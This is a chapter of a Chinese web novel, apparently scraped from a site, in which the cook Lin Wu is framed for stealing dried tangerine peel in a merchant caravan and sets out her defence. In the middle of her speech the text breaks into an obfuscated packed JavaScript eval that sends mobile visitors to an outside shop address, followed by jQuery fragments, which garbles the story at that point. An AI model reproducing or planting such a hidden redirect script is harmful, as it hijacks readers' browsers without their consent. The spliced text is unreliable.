36. 第 36 章

作品:《林娘子市井生活

    锦程行的营地粥香四溢,热气腾腾,在秋日清寒的早晨显得尤为温暖。


    林芜站在大锅旁,为排队的伙计们分粥,神色平静,仿佛昨夜的风波未曾发生。


    赵三娘牵着女儿,远远望着林芜忙碌却从容的身影,神色复杂难辨。


    “娘,那个姨姨做的粥好香,暖暖的。”她身边面色有些苍白的女童扯着她的袖口,小声说道。


    赵三娘猛地攥紧了女儿的手,低声喃喃:“过几日咱们也能吃到,过几日,再过几日便好。”


    与此同时,林景像条灵活的小鱼,悄无声息地在人群中穿梭,找到了正埋头吃粥的小赵。


    小赵见是林景,把嘴里那口粥咽了下去,问:“咋了?小景娘,没吃饱?”


    林景不说话,只板着一张小脸,神情严肃地朝他勾了勾手指。


    小赵被他这副小模样逗乐了,笑嘻嘻侧耳过去:“嘿,我的粥可不分你,让你娘给你开小灶去。”


    林景立刻凑到他耳边,嘀嘀咕咕说了一通。


    随着林景的讲述,小赵眉头一蹙,脸上的嬉笑渐渐褪去:“怎么就没个消停。”


    他两三口将碗里剩余的粥扒拉干净,随即拍了拍林景的肩膀,低声道:“别怕,这事交给我。回去告诉你娘,放宽心,我心里有数了。”说罢,他放好碗,起身径直朝着张管事车厢的方向快步走去。


    朝食过后,商队收好行装,继续前行。天气晴朗,路途平稳,前方的凌州已不远。


    晌午歇脚时,小赵悠闲地在营地各处晃悠,双眼却不着痕迹地扫视着。


    “小赵哥,您今儿怎么巡起逻来了?把兄弟们的饭碗都给抢啦?”一个相熟的护卫笑着打趣。


    “嗐,别提了!后厨那饼子做得太实在,吃撑了,来溜达溜达,消消食。”小赵摸着肚子,笑嘻嘻地回应。


    “别说,这趟走下来,咱们的嘴都快被厨娘养刁了。想想往后怕是没这口福喽,心里还真不是滋味。”


    “这话要是让帮厨师傅和还在乌仓县养病的厨娘知道,你小子往后就等着顿顿吃猪食吧!”


    “林厨娘手艺是真没得说,但愿帮厨师傅这几日偷师学了一两手!”


    “得了吧,照你这么说,两位厨娘要知道这趟还得把拿手绝活抖露出去,下回见着咱们商队,怕是要绕道走咯!”


    几人正说笑间,赵三娘抱着咳嗽不止的女儿,在人群中左右张望,终于找准时机,朝着小赵这边走了过来。


    小赵眼角的余光早已瞥见她,心中暗道一声:“来了!”


    他面上却不显,待人走到跟前,还热心地问:“嫂子,您找我啊?”


    赵三娘未语泪先流,声音带着哭腔:“这位小哥,求您行行好,救救我女儿吧!她这不是寻常咳嗽,是寒痰闭肺的老毛病犯了,这会儿喘不上气,眼瞅着要背过气去了……”


    “哎呀,嫂子,您这是病急乱找人,”小赵急忙出声,“我不是大夫啊。”


    “小哥,我知道的。昨日那事之后,我也瞧出来了,您在管事面前是说得上话的。我实在是没法子了,才厚着脸皮来求您。”赵三娘一边轻拍着女儿后背给她顺气,一边说着。


    “从前京里大夫特意交代过,她这病急起来若没药,最稳妥的法子就是用年份足品质好的陈皮,配上老姜、粳米熬成粥,最能温化寒痰、理气平喘。只求您帮忙看看锦程行是否有这上好的陈皮,我愿意花钱买,只求给孩子救急!”


    小赵顿时惊讶道:“哟,嫂子您还真是问对人了!您怎么就知道我们商队备着好陈皮呢?”


    赵三娘脸上一喜,像是抓住了救命稻草,急忙解释:“我也是没法子了,想着锦程行这般大的家业,后厨用料讲究,兴许会备着这些。没想到真让我问着了!”


    小赵老神在在地点了点头:“不瞒您说,这东西我们确实备着些,既是给后厨调味增香,也供东家和管事们偶尔泡茶润喉。不过,我做不了主,得先回禀管事一声才行。”


    “应当的,应当的!多谢小哥!”赵三娘连连道谢。


    不多时,小赵便领着负责采买的胡大叔回来了。


    “嫂子,这是咱们管库的胡大叔,商队里一应物品进出都归他管。”说着,他便带着赵三娘往那辆食材货车走去。


    胡大叔利落地翻进车厢,嘴里还念叨着:“我记得很清楚,陈皮就收在这香料柜里头……”


    赵三娘因着心急,也扒着车沿探头往里瞧。


    胡大叔很快就找到了,可仔细清点之后,脸色立刻变了:“少了一串!”


    “怎么会少了?”小赵眉头皱起,“胡叔,您是不是记岔了?”


    “不可能,”胡大叔斩钉截铁,“凡是贵重些的香料,取用必须经我手记账,绝无可能出差错!”


    赵三娘在一旁瞧着,也着急起来:“会不会是路上颠簸,从架子上震落,滚到哪个角落里去了?”


    胡大叔摇了摇头:“这般贵重干货不会随意摆放,都在单独的货柜装着,掉不出去。”


    “会不会是取旁的干货时,不小心碰到,掉出来了?”赵三娘说着,忽然吸了吸鼻子,“我在京中时,家里常备此物,对这味道再熟悉不过。您二位若信得过,容我上去帮着找找可行?我眼神还算利落,对这气味也敏感,兴许能寻到些踪迹。”


    小赵当即点头:“那真是再好不过,有劳嫂子!一串陈皮事小,可商队里物件无故短少却是大忌,必须弄个明白。”


    得到准许,赵三娘立刻利落地翻进车厢。


    她先是在货架四周仔细查看,鼻子不时轻嗅,又俯身在角落摸索。很快,她的目光锁定在车厢角落里那个毫不起眼的小包袱上,脚步也随之挪了过去。


    “这……”赵三娘蹲在车厢里,脸上有些迟疑。


    “嫂子,怎么样,可有发现?”小赵在车下扬声问道。


    赵三娘欲言又止,神色有些为难,没出声。


    “嫂子若有什么发现,但说无妨,查明东西去向要紧。”小赵语带催促。


    赵三娘深吸一口气,伸手指着那小包袱:“我、我闻到这小包袱里,透着一股陈皮香。”


    她顿了顿,又补充道:“应该错不了的,我对这味道再熟悉不过了。”


    “嫂子,您可确定?”小赵眉头紧锁,神色变得严肃。


    “这香气独特,我至少有八九分把握。”赵三娘语气笃定。


    小赵闻言,面色一沉,转向胡大叔:“胡叔,此事非同小可,您在此处守着,我去请管事和厨娘过来。”


    很快,相关人等都到齐了。


    一些在附近歇息的人,瞧着这边的动静,似是有热闹看,又三三两两地跟了过来。


    张管事面色沉静,目光落在两位厨娘身上,开门见山:“林娘子、李三娘,公中少了一串上等陈皮,需查验清楚。”


    林芜与李三娘闻言皆是一惊,面面相觑。围观的众人也是脸色皆变。


    林芜率先上前说道:“需如何查验,请管事吩咐。”


    李三娘也回过神来,连忙点头:“是是是,管事明鉴,我们每日取用食材都是有数的,帮厨的师傅和胡大叔都清楚,绝不敢胡来。”


    小赵抬手指着那灰扑扑的小包袱,声音里听不出半点情绪:“张管事,赵嫂子指称,这包袱里透着陈皮香气。依规矩,需开包查验。”


    李三娘一看那包袱,猛地转头,震惊地看向林芜,嘴唇动了动,终究没立刻出声。


    一片沉寂中,林芜先是看了一眼赵三娘,才上前半步,将那个包袱拿起:“回管事,这是我的包袱。”


    她目光坦然地迎向张管事:“我可对天发誓,自入商队以来,从未偷拿过后厨一针一线,更不曾动过分毫不属于自己的物件。”


    “是否清白,查过便知。”张管事语气平稳,却不容置疑。


    林芜神色如常,只将包袱递给胡大叔:“身正不怕影子斜,您查吧。”


    胡大叔上前,解开了小包袱。


    当几件旧衣物被挪开,一个用油纸仔细包裹的长条物赫然呈现。一揭开油纸,一串品相上佳的陈皮明晃晃映入所有人的眼帘。


    人赃并获!


    李三娘倒吸一口凉气,难以置信地看着林芜。


    张管事脸色倒是平静,目光移向林芜:“林娘子,你还有何话可说?”


    林芜神色却未见慌乱,只抬眼迎上张管事的视线,声音平静:“既是从我的包袱中翻出,我无可辩驳。只是心中尚有些疑惑,想请管事与诸位容我一问,也请大家一同思量。”


    张管事点了点头。


    林芜声音微微扬起,不高却清晰:“管事、胡大叔与后厨众人都清楚,商队的好陈皮是整批存放的。而我只是个临时厨娘,每日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16926025|191476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用料皆需跟胡大叔登记领取。众人皆可作证,这几日膳食之中,可曾用过一片陈皮?”


    李三娘连忙摇头说道:“是是是,咱们这几日的餐食都未用过陈皮。”


    林芜颔首,继续道:“退一步来说,若我真有心偷窃,最稳妥的法子,应当是这几日应特意做些需用陈皮的餐食,再借着领取用料的机会,每回多拿一两片,细水长流,岂不更不易察觉?这样一次取走一整串,是生怕旁人发现不了么?”


    闻言,周围不少人面露思索,暗暗点头。


    林芜接着话锋一转,目光投向一旁的赵三娘:“再有便是,今日这桩事,起因是赵嫂子声称女儿病重,急需陈皮救命。性命攸关,本该心急如焚。可如今我瞧这孩子气息面色却已平稳不少,赵嫂子此刻似乎也并不着急煮药救人了?”


    大家也循着林芜的目光看向赵三娘母女俩,这会儿那孩子紧紧搂着赵三娘的大腿,看不到脸,可瞧着已无甚大碍。赵三娘脸色微白,一只手正不住地轻拍孩子后背,低声安抚。


    “多谢林娘子关心,”赵三娘稳住声气,勉强答道,“许是方才闻着这般好的陈皮香,孩子舒坦了不少。”


    林芜并未接她这话,而是继续问道:“此前赵嫂子曾寻我换炊饼,称是临时带孩子匆忙出门,没来得及置办家伙。这回却找商队单独借这陈皮来煮粥,想问赵嫂子您这会儿是有粳米也有锅灶了,就独独缺锦程行这一味陈皮了吗?


    更教人费解的是,锦程行货物众多,连胡大叔都要翻找半晌。你一个外人却能不偏不倚径直找到我的包袱上来?倒像是早知它藏在何处一般。”


    疑问直指赵三娘。


    众人的目光也齐刷刷地从林芜身上,转向赵三娘。


    赵三娘被问得身形一晃,眼眶瞬间就红了。


    她本就容貌秀气,此时泪目盈盈,更显楚楚可怜。


    “林娘子……您、您这又是何苦?”她声音哽咽,像是带着天大的委屈,“您自个儿行事不端,被人发现了,为何非要攀扯到我一个苦命人身上?”


    她一手将女儿紧紧搂向身侧,一手无助地按着心口:“莫不是瞧我们孤儿寡母,孩子又病弱,无依无靠,便觉着我们好欺负么”


    说到这里,她几乎要泣不成声,连连用手轻拍着胸口顺气,才勉强稳住话音继续道:“我不过是见小赵哥着急寻物,念着同是路上人,才好心帮着寻找。先前闻到味道,我心中也是万分犹豫,不敢轻易指认,就怕平白污了谁的名声。也是小赵哥一再保证查明便好,我、我这才……”


    她抬袖拭泪,声音颤抖,却仍强撑着维持条理:“林娘子要为自己辩白,理所应当。可您……您怎能空口白牙,硬将这样歹毒的罪名扣在我头上?


    是,您说的对,我赵三娘是外人,不可能知晓这陈皮究竟收在哪辆车的哪个角落,方才也是这位小哥和胡大叔领着我过来的。怎的到了您嘴里,竟成了我自个儿直直奔着您包袱去了?


    再有,诸位请想一想,这于情于理,说得通吗?我与林娘子不过是路上偶遇,萍水相逢,无冤无仇,我为何要煞费苦心,设下如此圈套来陷害您?这于我又有何好处?我图什么呢?”


    她说到这里,略微停顿,看向始终一言不发的张管事,声音哀戚:“至于熬粥的锅灶米粮,是,我此刻确实未曾备齐。但我晓得在这行商路上,米面易得,锅灶亦可借,唯独这年份足品质好的陈皮最为难寻。我想着,只要先求得这最紧要的一味药,其他的,哪怕是豁出脸面去挨家恳求,也总能想到法子凑齐。救我女儿的命,才是头等大事啊!”


    她这一番言辞恳切,也能自圆其说,众人觉得有理。


    “听着……倒也在理。”


    “是啊,救命要紧,哪能等万事齐备?”


    “她一个外人,怎知陈皮放在哪儿?”


    “无冤无仇的,何必害人?”


    就在众人窃窃私语之际,林芜平静地瞧了一眼此时已哭得似肝肠寸断的赵娘子,再次转向张管事,声音依旧平稳:“张管事明鉴,诸位也请听我一言。这串陈皮出现在我的包袱里,我是早已知晓的。”


    此言一出,大家皆是瞪圆了眼睛。


    一直紧紧挨在林芜腿边的林景,此刻也抬起头,眼中毫无惧意,小小的胸膛微微挺起。


    赵三娘的哭声也戛然而止,愕然地抬头望向她。